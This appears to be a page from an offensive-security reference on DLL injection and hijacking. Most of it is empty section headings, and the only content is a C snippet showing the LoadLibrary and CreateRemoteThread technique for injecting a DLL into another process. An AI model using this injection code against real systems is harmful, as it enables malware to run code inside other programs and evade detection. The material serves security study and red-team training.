DLL Injection & Hijacking
DLL Injection Methods
LoadLibrary
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, dllPathAddr, dllPath, strlen(dllPath), NULL);
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, dllPathAddr, 0, NULL);Manual Mapping
Reflective DLL Injection
DLL Hijacking
DLL Search Order (Safe DLL Search Mode Enabled - Default)
DLL Search Order (Safe DLL Search Mode Disabled)
Finding Hijackable DLLs
DLL Proxying
Invalid/Missing DLL Hijacking
Safe DLL Search Mode Registry
Last updated